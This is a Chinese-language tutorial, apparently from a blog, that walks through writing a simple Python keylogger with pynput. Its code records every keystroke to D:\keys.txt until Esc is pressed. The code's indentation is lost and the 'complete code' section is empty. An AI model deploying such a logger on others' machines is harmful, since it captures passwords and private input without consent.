目录
一、安装pynput模块
PS C:\WINDOWS\system32> pip install pynput
Looking in indexes: http://mirrors.aliyun.com/pypi/simple
Requirement already satisfied: pynput in f:\develop\python36\lib\site-packages (1.7.2)
Requirement already satisfied: six in f:\develop\python36\lib\site-packages (from pynput) (1.10.0)
二、编写代码
1、引入键盘模块
from pynput.keyboard import Key, Controller,Listener
import time
2、读取键盘操作
记录键盘操作,并将记录写入D:\keys.txt路径下
def on_press(key):
global keys
string = str(key).replace("'","")
keys.append(string)
key_rcord= "".join(keys)
if len(key_rcord)>15:
with open('D:\keys.txt', 'a') as f:
f.write(key_rcord)
keys= []
3、设置停止记录触发事件
当按到键盘esc时,停止运行记录程序
def on_release(key):
if key == Key.esc:
return False
4、启动监听
with Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
三、完整代码